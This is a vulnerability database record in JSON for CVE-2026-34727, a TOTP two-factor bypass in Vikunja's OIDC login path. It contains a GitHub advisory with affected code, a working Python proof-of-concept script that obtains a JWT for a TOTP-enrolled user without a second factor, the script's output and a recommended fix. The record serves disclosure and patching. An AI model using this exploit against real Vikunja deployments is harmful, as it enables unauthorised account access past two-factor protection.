{"id":"CVE-2026-34727","aliases":["CVE-2026-34727","GHSA-8jvc-mcx6-r4cg","GO-2026-5258"],"related":[],"kind":"vulnerability","state":"published","title":"Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path","summary":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.\n\n## Details\n\nThe OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup:\n\n```go\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\nThere are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification:\n\n```go\ntotpEnabled, err := user2.TOTPEnabledForUser(s, user)\nif totpEnabled {\n    if u.TOTPPasscode == \"\" {\n        _ = s.Rollback()\n        return user2.ErrInvalidTOTPPasscode{}\n    }\n    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{\n        User:     user,\n        Passcode: u.TOTPPasscode,\n    })\n```\n\nWhen OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with Dex as the OIDC provider.\n\nSetup:\n- Vikunja configured with `emailfallback: true` for Dex\n- Local user `alice` (id=1) has TOTP enabled\n\n```python\nimport requests, re, html\nfrom urllib.parse import parse_qs, urlparse\n\nTARGET = \"http://localhost:3456\"\nDEX = \"http://localhost:5556\"\nAPI = f\"{TARGET}/api/v1\"\n\n# verify TOTP is required for local login\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"})\nprint(f\"Local login without TOTP: {r.status_code} code={r.json().get('code')}\")\n# Output: 412 code=1017 (TOTP required)\n\n# login via OIDC (same flow as VIK-020 PoC)\ns = requests.Session()\nr = s.get(f\"{DEX}/dex/auth?client_id=vikunja\"\n          f\"&redirect_uri={TARGET}/auth/openid/dex\"\n          f\"&response_type=code&scope=openid+profile+email&state=x\")\naction = html.unescape(re.search(r'action=\"([^\"]*)\"', r.text).group(1))\nif not action.startswith(\"http\"): action = DEX + action\nr = s.post(action, data={\"login\": \"alice@test.com\", \"password\": \"password\"},\n           allow_redirects=False)\napproval_url = DEX + r.headers[\"Location\"]\nr = s.get(approval_url)\nreq = re.search(r'name=\"req\" value=\"([^\"]*)\"', r.text).group(1)\nr = s.post(approval_url, data={\"req\": req, \"approval\": \"approve\"},\n           allow_redirects=False)\ncode = parse_qs(urlparse(r.headers[\"Location\"]).query)[\"code\"][0]\n\nresp = requests.post(f\"{API}/auth/openid/dex/callback\",\n    json={\"code\": code, \"redirect_url\": f\"{TARGET}/auth/openid/dex\"})\nprint(f\"OIDC login: {resp.status_code}\")\n\nuser = requests.get(f\"{API}/user\",\n    headers={\"Authorization\": f\"Bearer {resp.json()['token']}\"}).json()\nprint(f\"User: id={user['id']} username={user['username']}\")\n# TOTP was completely bypassed\n```\n\nOutput:\n```\nLocal login without TOTP: 412 code=1017\nOIDC login: 200\nUser: id=1 username=alice\n```\n\nLocal login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.\n\n## Impact\n\nWhen an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.\n\nThis vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor.\n\n## Recommended Fix\n\nAdd a TOTP check in the OIDC callback before issuing the JWT:\n\n```go\ntotpEnabled, err := user.TOTPEnabledForUser(s, u)\nif err != nil {\n    _ = s.Rollback()\n    return err\n}\nif totpEnabled {\n    _ = s.Rollback()\n    return echo.NewHTTPError(http.StatusForbidden,\n        \"TOTP verification required. Please use the local login endpoint.\")\n}\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"en","text":"Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","format":"markdown","source":"go"},{"lang":"es","text":"Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la 2.3.0, el gestor de devolución de llamada OIDC emite un token JWT completo sin verificar si el usuario coincidente tiene la autenticación de dos factores TOTP habilitada. Cuando un usuario local con TOTP registrado coincide a través del mecanismo de reserva de correo electrónico OIDC, el segundo factor se omite por completo. Esta vulnerabilidad se corrige en la 2.3.0.","source":"nvd"}],"published":"2026-04-10T15:30:57.000Z","modified":"2026-10-26T00:10:00.150Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-287"],"affected":[{"ranges":[{"version":"< 2.3.0","status":"affected"}],"vendor":"go-vikunja","product":"vikunja","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.3.0"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"go"},{"ranges":[{"status":"affected","fixed":"2.3.0"}],"vendor":"vikunja","product":"vikunja","cpe":"cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34727","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/go-vikunja/vikunja/pull/2582","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/go-vikunja/vikunja","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-13T15:29:57.650Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34727","url":"https://www.cve.org/CVERecord?id=CVE-2026-34727","licence":"CVE Terms of Use","modified":"2026-04-13T15:37:32.071Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8jvc-mcx6-r4cg","url":"https://github.com/advisories/GHSA-8jvc-mcx6-r4cg","licence":"CC-BY-4.0","modified":"2026-07-21T13:49:14.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5258","url":"https://pkg.go.dev/vuln/GO-2026-5258","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:22.275Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34727","licence":"Public domain","modified":"2026-10-26T00:10:00.150Z"}],"updatedAt":"2026-11-25T22:59:18.502Z","epss":{"score":0.00443,"percentile":0.30427,"date":"2026-11-30T12:00:22.000Z"}}